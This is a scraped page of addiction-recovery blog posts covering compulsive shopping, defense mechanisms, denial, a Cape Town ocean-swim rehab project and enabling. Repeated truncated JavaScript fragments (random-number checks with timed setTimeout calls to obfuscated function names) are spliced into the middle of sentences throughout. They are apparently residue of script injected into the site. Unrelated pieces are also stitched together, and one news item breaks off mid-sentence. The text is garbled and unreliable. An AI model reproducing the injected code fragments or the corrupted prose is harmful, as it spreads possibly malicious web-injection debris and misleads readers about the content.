An Unhealthy Shopping Addiction Can Cause Problems

Posted on: January 18th, 2016 by Hired Power No Comments

What constitutes compulsive shopping?

Compulsive shoppers have tremendous difficulty controlling their spending habits even when the behavior causes serious financial or relational problems. “Compulsive shopping” is defined as an impulse control disorder. It’s driven in part by many of the same socio-economic factors that drive binge eating or problem gambling. Big businesses orient the products they market, andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and how they market them, around the consumer need for instant gratification–a need that fuels the formation of habits. With credit so easily available andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the whole consumer market accessible on our cell phones, the temptation to splurge regularly can be too alluring for some people to resist.

What are the warning signs?

Compulsive shoppers fall into the same vicious cycle of self-destruction andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and excuse-making that characterizes drug addicts. When they feel upset, disappointed, angry, scared, or overwhelmed, these individuals–most of them–don’t use drugs or drink alcohol: they shop. They don’t conceal bottles, they conceal bank statements. For most compulsive shoppers, the main vice is the credit card. They purchase items on credit that they wouldn’t dare buy with cash. This allows for some cognitive dissonance. The shame, embarrassment, andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and confusion hit quickly anyway, but that initial euphoria they get from spending is enough to keep compulsive shoppers coming back. When they don’t have a credit card, compulsive shoppers feel lost. They think excessively about money andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and spend huge amounts of time juggling bills to accommodate their colossal spending habits.

What are the effects?

Again, the habit itself is associated with a need for instant gratification. It’s a need that grows stronger every time we feed it. Each time we push long-term responsibility into the back of our minds, we push it a little further.

How can I get help?

For compulsive shoppers, rock bottom occurs when debt becomes so large that drastic lifestyle changes become absolutely necessary. The good news is that you don’t have to get to that point to get help. Help is available now. Firstly, determine the scope of the problem. Consult the warning signs listed above to see how many apply to you. Contact Certified Addictions Counselor for a confidential assessment of your shopping habits.

10 Defense Mechanisms that Help Us Avoid the Truth

Posted on: January 7th, 2016 by Hired Power No Comments

Individuals in recovery have defense mechanisms to hide or prevent others from getting too close for fear of showing others the true self.

Healthy patterns of coping with difficult situations do not distort reality, make an individual hide or run away or fear a facade being discovered.

Some defense mechanisms are more common than others but they all promote the same unhealthy habit of holding people back from the truth.

Innocence – behaving in a way that is naive, sweet or overly innocent to avoid confrontation

Helplessness – acting innocently or asking basic questions to avoid responsibility

Withdrawing – avoiding confrontation through silence or avoidance of others

Manipulation – using others to own advantage or to get one’s own way

Sarcasm – making bitter or biting remarks in response to people in conversation to hide true feelings

Intimidation – threatening, screaming or scaring others away to keep at a distance

Joking – making jokes or laughing (sometimes at inappropriate times) to hide true feelings

Minimizing – acting as though a problem is not significant or is not a concern (learned helplessness)

Denial – inability to acknowledge or believe what is true

Agreeing easily – saying ‘yes’ when really wanting to say ‘no’ or complying without objection

Patterns

Defense mechanisms develop as a pattern of behavior stemming from a dysfunctional family or inability to communicate effectively.

I Can Quit Any Time I Want

In the broadest sense, an addict will believe that he can stop using drugs or drinking any time he wants to. An addict can tell himself that he will not drink or use drugs for a particular stretch of time, if at all, but when the addict experiences a stress trigger, come home after a hard day’s work, or gets depressed or anxious over any part of his life, he defers his decision to quit his addictions andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and turns back to old habits.

An addict might also believe that he could overcome his addiction if all of the stresses in his life were to disappear.

Thirty drug addicts hope to reclaim their lives by braving the icy Atlantic ocean.

One of them, 22-year-old Shahim, has been a drug user for
half his life. But thanks to Cape Town swimming coach Anton Louw, he
now keeps his addiction at bay.

Louw is the brains behind an ambitious drug
rehabilitation project called Walking on Water. And he is under no
illusion that all the recovering addicts who signed up will make it to
the end.

“But we believe that by simply committing to the
program these brave souls have already taken a quantum leap forward
in their recovery,” he said.

The project includes several months of training for the
swimmers, who will have to brave 13°C water off the Cape coast. Their
goal is to complete the grueling Cadiz Freedom Swim next year — a

Speaking from a Grassy Park rehabilitation center his
family booked him into two weeks ago, Shahim said he took up swimming
to keep boredom in check while overcoming his addiction.

Are You Enabling an Alcoholic or Addict?

Often well-meaning efforts to help someone with an alcohol or drug
problem actually empowers them to continue their destructive behavior
by allowing them to avoid the consequences of their actions. This is
called "enabling."

The following questions are designed to help you decide whether or not
your actions andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and reactions to the alcoholic might be enabling. Although
the questions refer to an "alcoholic" andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and "him" you can substitute
"addict" andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and "her" because the principles are the same.
